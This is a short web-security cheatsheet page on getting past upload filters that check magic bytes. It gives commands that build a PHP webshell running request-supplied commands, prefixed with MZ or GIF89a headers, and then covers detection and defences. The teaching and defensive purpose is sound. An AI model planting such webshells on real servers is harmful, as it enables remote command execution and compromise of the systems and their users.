the_open_door
coffee
ESEN
← Back to index

File Upload Bypass (Magic Bytes)

Full command arsenal in the cheatsheet

Many upload forms try to restrict files by validating the magic bytes (the first bytes that identify the format: MZ/4D5A in a PE executable, %PDF in a PDF, GIF89a in a GIF...). The problem is that checking the header does not validate the real type or the extension: if the server later serves or interprets the file as code, an attacker only has to prepend the bytes the filter expects. It is one piece within the range of upload-validation bypasses.

Magic bytes

The typical case: an upload.php reads a few bytes and requires MZ (or GIF89a for images). It is enough to write a .php starting with that header and continuing with the webshell; PHP processes <?php tags wherever they sit in the file:

echo '4D 5A 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php
echo '<?php system($_REQUEST["cmd"]); ?>' >> shell.php
# or for the image filter:
printf 'GIF89a;\n<?php system($_REQUEST["cmd"]); ?>\n' > shell.php.gif

Other validations and their bypass

The filter is rarely magic bytes alone; it is worth knowing the rest, because they are usually combined:

Requirements

An upload point that accepts the file and, above all, that ends up interpreting it as code: the upload directory is served as PHP/ASP, or the file is included later (LFI). If the app only stores the file and never executes it, the filter bypass is not enough on its own.

How to detect it. The uploaded file gives away the trick: a .php/.phtml/.jsp whose first bytes are MZ or GIF89a but whose body contains code tags (<?php, <%) is inconsistent and jumps out with a file or a grep -a '<?php' over the upload directory. Uploading a .htaccess/web.config to an uploads folder is a direct signal. In real time, the clue is a request to the freshly-uploaded file returning command output instead of an image, and the web process spawning sh/cmd as a child.

Defence. Do not trust magic bytes or the Content-Type as a control: validate the extension against a strict allowlist, rename the file with a random value, remove execute permissions, store it outside the webroot and serve it through a handler that never interprets it. Related to file upload to RCE and PHP tag bypass.

Toolsfile

Machines where it's used